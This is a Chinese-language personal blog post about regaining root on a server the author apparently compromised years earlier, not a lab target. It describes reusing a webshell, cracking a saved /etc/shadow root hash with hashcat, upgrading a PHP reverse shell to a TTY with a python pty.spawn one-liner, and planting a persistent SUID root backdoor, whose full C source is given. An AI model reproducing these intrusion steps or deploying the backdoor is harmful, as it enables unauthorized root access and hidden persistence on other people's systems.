Linux提权及后门

再回首,云遮断归途,再回首,荆棘密布…

单位的工作环境在penetration方面吸引力远不如学校,可能是限制屏障消失亦或是从事项目于此不相干,所以没了那种幽幽暗暗反反复复中追问的动力。最近被邀去讲讲经验故事,为了让实践环节有的玩耍,所以重操旧业温故知新。还好当年大部分战果都有些许的记录,算是矬子里拔大个找到一个可用对象。

注入点、webshell,后台上传点都还在,md5后的口令也能跑出来,但后门账户已经被咔嚓掉了(在/etc/passwd中加#注释了)。这几近完美却偏偏美中不足让我隐隐作痛。内核升级后,CVE-2010-3847这个当时提权用的漏洞已经不可用。翻遍所有web目录,只剩一个上线。

Linux exploit suggester跑遍了提权代码,未果,得另辟蹊径。

看到资料库中的/etc/shadow,当年鬼使神差留了一份~这个root的散列起始为$1$,采用MD5存储,hashcat里面-m 500可以有效应对。虽然形式是MD5,但跑shadow的速度比一般的散列慢几百倍。站内数个config文件暴露的数据库连接口令都暴露了管理员的口令制定策略(对password单词的变异)。对hashcat的口令规则稍加定制,很快恢复了shadow文件的root口令。不过,只有root口令,没有交互界面(tty),su也无的放矢。这种无交互的尴尬迫使当年一度思考要立项做无交互提权方案研究。天公作美,今天搜到了pentestmonkey冥冥中留给我的密旨:php反弹shell后,再用

python -c 'import pty; pty.spawn("/bin/sh")'

即可取得真正的交互shell,su works like a charm。口令正确,sh-3.2#返回一刹那,寡人激动不已。吸取前车之鉴,这次得留好后门,其实也就是写个setuid(0)的execl放到/bin下面,并加上suid标记,以后依托它执行的”ls /home”等命令都可以root权限执行。程序代码:

#include <unistd.h>
void main(int argc, char *argv[])
{
	setuid(0);
	setgid(0);
	if(argc > 1)
		execl("/bin/sh", "sh", "-c", argv[1], NULL);
	else
		execl("/bin/sh", "sh", NULL);
}